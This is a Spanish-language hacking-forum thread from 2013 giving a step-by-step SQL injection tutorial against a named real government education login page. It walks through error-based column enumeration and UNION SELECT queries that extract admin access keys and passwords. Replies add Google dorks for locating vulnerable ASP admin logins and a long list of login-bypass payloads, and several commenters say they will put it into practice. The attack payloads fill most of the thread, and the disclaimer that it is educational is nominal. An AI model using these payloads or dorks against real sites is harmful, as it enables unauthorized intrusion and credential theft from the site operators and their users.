Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Stuxnet en Marzo 10, 2013, 11:13:28 PM

Título: Inyección SQL a Login ASP
Publicado por: Stuxnet en Marzo 10, 2013, 11:13:28 PM
(http://3.bp.blogspot.com/-dIS2rHtJFwk/UTf6PehbsFI/AAAAAAAABjI/wL6Myv4CYho/s1600/sqli.gif)

Bien comencemos, para este tutorial utizare la página de http://informaticaeducacion.nl.gob.mx/saci/login.asp

Este tutorial es con fines educativos y no me hago responsable del uso que le den.

En el en campo "Clave de Acceso" y "Password" del login escribimos:

' having 1= 1--

(http://1.bp.blogspot.com/-J7k1oJHoSgg/UTf8JRg4JfI/AAAAAAAABjg/ArO-9DbG5i4/s1600/sql_asp.png)

Al hacerlo nos dara el seguiente error:

(http://1.bp.blogspot.com/-tj8MihADRKU/UTf8LUX5sLI/AAAAAAAABj8/ghaDKC8jsJU/s1600/sql_asp_1.png)

Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave having 1 = 1--

Hacemos la inyección y el siguiente error sera así:

(http://2.bp.blogspot.com/-54FqhoO1cEk/UTf8K2HEwAI/AAAAAAAABjo/ru7vDpfUO1Y/s1600/sql_asp_2.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre having 1=1--

Hacemos la inyección y el siguiente error sera así:

(http://4.bp.blogspot.com/-TMaovgAAN8I/UTf8LmYvvdI/AAAAAAAABkA/yC-h9VsAThI/s1600/sql_asp_3.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--

Hacemos la inyección y el siguiente error sera así:

(http://4.bp.blogspot.com/-qtDfNyNdz34/UTf8Ohdw2sI/AAAAAAAABko/LCTSp96cqFs/s1600/sql_asp_4.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--

Hacemos la inyección y el siguiente error sera así:

(http://1.bp.blogspot.com/-un-25yMb0jw/UTf8M8hsWtI/AAAAAAAABkI/XaxayvylfQo/s1600/sql_asp_5.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--

Hacemos la inyección y el siguiente error sera así:

(http://3.bp.blogspot.com/-t4rvrx29cnQ/UTf8NTt8lBI/AAAAAAAABkQ/btQQfI4T3nw/s1600/sql_asp_6.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:


' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--


Hacemos la inyección y el siguiente error sera así:

(http://2.bp.blogspot.com/-om2chci_rsA/UTf8JXDjOxI/AAAAAAAABjc/OpcJ-8i-qJI/s1600/slq_asp_7.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--

Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.

(http://3.bp.blogspot.com/-IwAatK6XkPM/UTgCsnt37_I/AAAAAAAABk4/4S5KPFGP0gQ/s1600/sql_login_asp.png)

Nuestra siguiente inyección sera de esta forma:

' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--

Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.

La posión de los unos puede varia un ejemplo podría ser:

' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--

(http://4.bp.blogspot.com/-5YbxfL6Uyng/UTf8N9E22xI/AAAAAAAABkY/DQuje9yCVAA/s1600/sql_asp_8.png)

Curiosamente al hacer la inyección de esta forma tenemos el acceso:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--

(http://1.bp.blogspot.com/-7j5HvUOoJaQ/UTf8LU5-RoI/AAAAAAAABj0/r6jbDcfn5tk/s1600/panel.png)

La inyección para que les arroje la password es:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--

(http://2.bp.blogspot.com/-3CaHjaffQfY/UTf8ObZN1OI/AAAAAAAABkg/V3fUJbMhFQ0/s1600/sql_asp_9.png)
Título: Re:Inyección SQL a Login ASP
Publicado por: Hu0r en Marzo 11, 2013, 02:18:20 AM
Buen post. Traté con una web y al momento de usar

' union select 1,1,1,1,min(xxxx) from yyyyy where xxxx > 'a'--

Al poner ese código (con los respectivos datos), no puedo acceder (el número de columnas es correcto, o sino sale un error). Simplemente carga de nuevo el login. No me da el error que aparece ahí. También probé en cambiar el min(xxxx) a todas las posiciones de los 1's y nada. ¿Alguna idea?
Título: Re:Inyección SQL a Login ASP
Publicado por: s0ul0fh4ck en Marzo 11, 2013, 06:34:40 PM
jojo! gracias por compartir.

ahora toca probar.!
Título: Re:Inyección SQL a Login ASP
Publicado por: zoro248 en Marzo 11, 2013, 09:36:29 PM
Execelente tuto, desde ya a ponerlo en practica xD
Título: Re:Inyección SQL a Login ASP
Publicado por: k43l en Marzo 12, 2013, 05:01:45 PM
existen otras consultas sql que le puedes meter a los campos de texto para bypassear y en este caso se esta descubriendo solamente los campos de una sola tabla y no de varias como mencionas, la tabla seria "Usuario", queria hacer esa aclaración
salu2
Título: Re:Inyección SQL a Login ASP
Publicado por: [3V1L] en Marzo 17, 2013, 02:44:21 AM
Prueba con esto :
                           user:'1 or '1'='1
                            password:'1 or '1'='1
Título: Re:Inyección SQL a Login ASP
Publicado por: OverHoax en Marzo 30, 2013, 04:23:39 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Prueba con esto :
                           user:'1 or '1'='1
                            password:'1 or '1'='1

Esa Sentencia Es Muy Conocida Se Puede Usar Con El Dork De Google

inurl :admin login.asp
inurl :admin.asp

Tambien Funciona

username: admin
password: 'or''='

S2
Título: Re:Inyección SQL a Login ASP
Publicado por: Ns4 en Marzo 30, 2013, 06:19:15 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Prueba con esto :
                           user:'1 or '1'='1
                            password:'1 or '1'='1

Esa Sentencia Es Muy Conocida Se Puede Usar Con El Dork De Google

inurl :admin login.asp
inurl :admin.asp

Tambien Funciona

username: admin
password: 'or''='

S2


Citaradmin'--
' OR ''='
'or'
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
- ' or 'x'='x
- ' or 'x'='x
'or'1 ou 'or''='
' or 'x'='x
admin' or 1==1
' OR "='
'or'1'='1

Saludos.